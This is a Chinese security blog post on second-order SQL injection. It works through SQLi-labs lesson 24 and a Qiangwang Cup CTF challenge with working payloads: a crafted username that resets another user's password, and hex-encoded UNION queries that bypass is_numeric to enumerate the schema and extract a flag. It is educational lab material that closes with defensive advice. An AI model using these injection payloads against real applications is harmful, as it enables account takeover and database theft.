之前参加“强网杯”,学到了不少姿势,其中的web题three hit印象深刻,考的是二次注入的问题,这里对二次注入尝试做一个小结。
所谓二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。
二次注入是sql注入的一种,但是比普通sql注入利用更加困难,利用门槛更高。普通注入数据直接进入到 SQL 查询中,而二次注入则是输入数据经处理后存储,取出后,再次进入到 SQL 查询。
二次注入的原理,在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身还是脏数据。
在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。
学习SQL注入,必定要刷SQLIlab,这里以SQLIlab lesson-24为例,也是考察的二次注入的点。打开题目
这题正常的流程是首先注册一个账号,然后登陆进去会让你修改新的密码:
如果直接尝试在登陆处尝试SQL注入,payload: admin’# 发现失败:
看一下源代码:
登陆处的username和password都经过了mysql_real_escape_string函数的转义,直接执行SQL语句会转义’,所以该处无法造成SQL注入。
Ok,此时我们注册一个test’#的账号:
注册用户的时候用了mysql_escape_string过滤参数:
但是数据库中还是插入了问题数据test’#
也就是说经过mysql_escape_string转义的数据存入数据库后被还原,这里做了一个测试:
回到题目,此时,test用户的原来密码为test,我们以test’#用户登陆,再进行密码修改
我们无需填写current password即可修改test用户的密码:
我们再看一下test用户的密码:
Ok,我们看一下源代码:
Username直接从数据库中取出,没有经过转义处理。在更新用户密码的时候其实执行了下面的命令:
“UPDATEusers SET PASSWORD=’22′ where username=’test’# ‘ and password=’$curr_pass’”;
因为我们将问题数据存储到了数据库,而程序再取数据库中的数据的时候没有进行二次判断便直接带入到代码中,从而造成了二次注入;
题目描述:
打开看看:
尝试注入失败
注册一个账号:
登陆进去会显示用户名,age,以及和该用户age相同的用户名。这里题目对用户名做了限制只能为0-9a-zA-Z,对age限制为只能是数字。
根据题目的显示,猜测SQL语句
Select name from table whereage=xx limit 0,1;
猜测age处存在SQL注入, 这里后来看了其他大佬的解题思路,某大佬直接访问.index.php.swp,获得了源代码(其实是比赛方在修改代码,非预期):
可以看到对age进行了is_numeric处理,可以用16进制编码绕过。
Payload:
1 and 1=2# 0x3120616e6420313d3223
用0x3120616e6420313d3223作为age注册一个用户:
发现查询为空。
再试试
1 and 1=1# 0x3120616e6420313d3123
用0x3120616e6420313d3123作为age注册一个用户:
此时发现可以查询到aaa用户,根据and 1=1 和 and 1=2返回不同判断此处存在二次SQL注入,注册用户的age字段直接被后续的查询语句所调用。接下来的操作和普通的SQL注入测试操作没有什么区别,首先还是测有几列:
Payload:
1 order by4#
注册age为0x31206f72646572206279203423的用户:
查询正常。
Payload:
【此处内容缺失】
注册age为0x31206f72646572206279203523的用户:
查询失败,可以判断列数为4,接下来就是暴库,首先用union看看可以利用显示的字段:
可以看到第二列可以用来显示,接下来暴库:
Payload:
1 and 1=2union select 1,group_concat(schema_name),3,4 from information_schema.schemata# 0x3120616e6420313d3220756e696f6e2073656c65637420312c67726f75705f636f6e63617428736368656d615f6e616d65292c332c342066726f6d20696e666f726d6174696f6e5f736368656d612e736368656d61746123
可以看到 数据库名qwb,接下来爆表:
Payload:
1 and 1=2union select 1,group_concat(table_name),3,4 from information_schema.tableswhere table_schema='qwb'# 0x3120616e6420313d3220756e696f6e2073656c65637420312c67726f75705f636f6e636174287461626c655f6e616d65292c332c342066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d277177622723
最终payload:
19 and 1=2union select null,concat(flag),null,null from flag# 0x313920616e6420313d3220756e696f6e2073656c656374206e756c6c2c636f6e63617428666c6167292c6e756c6c2c6e756c6c2066726f6d20666c616723
注册一个age为0x313920616e6420313d3220756e696f6e2073656c656374206e756c6c2c636f6e63617428666c6167292c6e756c6c2c6e756c6c2066726f6d20666c616723的用户:
总结一下,二次注入发生时,虽然会对用户的输入的一些符号进行转义,但是在存入数据库的时候被还原,如果从数据库中取数据的时候直接进行利用,就会造成二次注入,因此在从数据库或文件中取数据的时候,也要进行转义或者过滤。
*本文作者:SAINTSEC团队tinyfisher,转载请注明来自 FreeBuf.COM。